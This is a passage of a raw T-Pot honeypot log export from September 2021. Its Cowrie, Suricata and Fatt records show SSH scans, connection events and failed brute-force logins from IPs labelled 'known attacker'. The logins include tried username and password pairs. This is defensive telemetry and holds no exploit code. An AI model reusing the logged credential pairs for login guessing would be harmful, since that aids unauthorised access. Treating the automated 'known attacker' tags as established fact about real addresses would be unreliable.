"t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29337	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:25:04.012046+03	2021-09-20 14:30:03.999524+03	{"_id": "ywbzAnwBvYTbRNuEyzRe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 123.126.106.88:48368 (192.168.176.2:22) [session: f36a36e47d5d]", "session": "f36a36e47d5d", "@version": "1", "protocol": "ssh", "src_port": 48368, "dest_port": 22, "timestamp": "2021-09-20T11:25:04.012046Z", "@timestamp": "2021-09-20T11:25:04.012Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29355	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:25:12.621922+03	2021-09-20 14:30:04.023524+03	{"_id": "8gbzAnwBvYTbRNuE7jSN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "bb5e96f2bbf1", "@version": "1", "duration": 3.169196128845215, "timestamp": "2021-09-20T11:25:12.621922Z", "@timestamp": "2021-09-20T11:25:12.621Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29338	123.126.106.88	109.199.241.180	Suricata	2021-09-20 14:25:04.392521+03	2021-09-20 14:30:04.001523+03	{"_id": "zAbzAnwBvYTbRNuEzTQR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.126.106.88", "dest_ip": "192.168.20.116", "flow_id": 1295718342960602, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48368, "dest_port": 22, "timestamp": "2021-09-20T11:25:04.392521Z", "@timestamp": "2021-09-20T11:25:04.392Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29339	123.126.106.88	109.199.241.180	Fatt	2021-09-20 14:25:04.392651+03	2021-09-20 14:30:04.002523+03	{"_id": "zwbzAnwBvYTbRNuEzjRC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "123.126.106.88", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 48368, "dest_port": 22, "timestamp": "2021-09-20T11:25:04.392651", "@timestamp": "2021-09-20T11:25:04.392Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29340	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:25:04.360657+03	2021-09-20 14:30:04.003524+03	{"_id": "0AbzAnwBvYTbRNuEzzRH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 180 seconds", "session": "3c5791bb365c", "@version": "1", "duration": 180.29717898368835, "timestamp": "2021-09-20T11:25:04.360657Z", "@timestamp": "2021-09-20T11:25:04.360Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
29341	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:25:06.009043+03	2021-09-20 14:30:04.004524+03	{"_id": "1QbzAnwBvYTbRNuE0zQw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.login.failed", "message": "login attempt [miao/miao123] failed", "session": "f36a36e47d5d", "@version": "1", "password": "miao123", "username": "miao", "timestamp": "2021-09-20T11:25:06.009043Z", "@timestamp": "2021-09-20T11:25:06.009Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29342	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:24:47.541536+03	2021-09-20 14:30:04.005524+03	{"_id": "lQbzAnwBvYTbRNuEijSh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 5150, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2053966900708192, "@version": "1", "in_iface": "enp5s0", "src_port": 44378, "dest_port": 53, "timestamp": "2021-09-20T11:24:47.541536Z", "@timestamp": "2021-09-20T11:24:47.541Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29343	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:24:47.542846+03	2021-09-20 14:30:04.007523+03	{"_id": "lwbzAnwBvYTbRNuEijSh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 5150, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1159, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2053966900708192, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 44378, "timestamp": "2021-09-20T11:24:47.542846Z", "@timestamp": "2021-09-20T11:24:47.542Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29344	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:24:47.235956+03	2021-09-20 14:30:04.008523+03	{"_id": "mAbzAnwBvYTbRNuEizTS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35170, "dest_port": 443, "timestamp": "2021-09-20T11:24:47.235956", "@timestamp": "2021-09-20T11:24:47.235Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29345	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:25:00.211422+03	2021-09-20 14:30:04.010526+03	{"_id": "uAbzAnwBvYTbRNuEvTRv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:25:00.211422+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2058824509569502, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 37387, "dest_port": 22, "timestamp": "2021-09-20T11:25:00.211422Z", "@timestamp": "2021-09-20T11:25:00.211Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
29346	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:25:07.390732+03	2021-09-20 14:30:04.012523+03	{"_id": "1wbzAnwBvYTbRNuE2zQB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "f36a36e47d5d", "@version": "1", "duration": 3.37799334526062, "timestamp": "2021-09-20T11:25:07.390732Z", "@timestamp": "2021-09-20T11:25:07.390Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29347	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:25:08.64213+03	2021-09-20 14:30:04.013523+03	{"_id": "2QbzAnwBvYTbRNuE3jTp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 7 seconds", "session": "c93154576def", "@version": "1", "duration": 7.170703887939453, "timestamp": "2021-09-20T11:25:08.642130Z", "@timestamp": "2021-09-20T11:25:08.642Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29348	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:25:09.453581+03	2021-09-20 14:30:04.015524+03	{"_id": "2gbzAnwBvYTbRNuE4TTM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "123.124.200.114", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 3735, "timestamp": "2021-09-20T11:25:09.453581", "@timestamp": "2021-09-20T11:25:09.453Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29349	123.124.200.114	109.199.241.180	Suricata	2021-09-20 14:25:09.798069+03	2021-09-20 14:30:04.016524+03	{"_id": "5AbzAnwBvYTbRNuE5DSE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:25:09.102594+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.124.200.114", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1985694102032578, "payload": "AAADzAYUTT6XgLDKXMRk4YvBxwgPdAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 3735, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:25:09.798069Z", "@timestamp": "2021-09-20T11:25:09.798Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......M>....\\\\.d......t...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
29350	123.124.200.114	109.199.241.180	Fatt	2021-09-20 14:25:09.798069+03	2021-09-20 14:30:04.017524+03	{"_id": "5QbzAnwBvYTbRNuE5TS2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "123.124.200.114", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 3735, "dest_port": 22, "timestamp": "2021-09-20T11:25:09.798069", "@timestamp": "2021-09-20T11:25:09.798Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29351	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:25:11.274133+03	2021-09-20 14:30:04.018523+03	{"_id": "7AbzAnwBvYTbRNuE6jSk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.login.failed", "message": "login attempt [younes/younes] failed", "session": "bb5e96f2bbf1", "@version": "1", "password": "younes", "username": "younes", "timestamp": "2021-09-20T11:25:11.274133Z", "@timestamp": "2021-09-20T11:25:11.274Z", "t-pot_ip_ext": 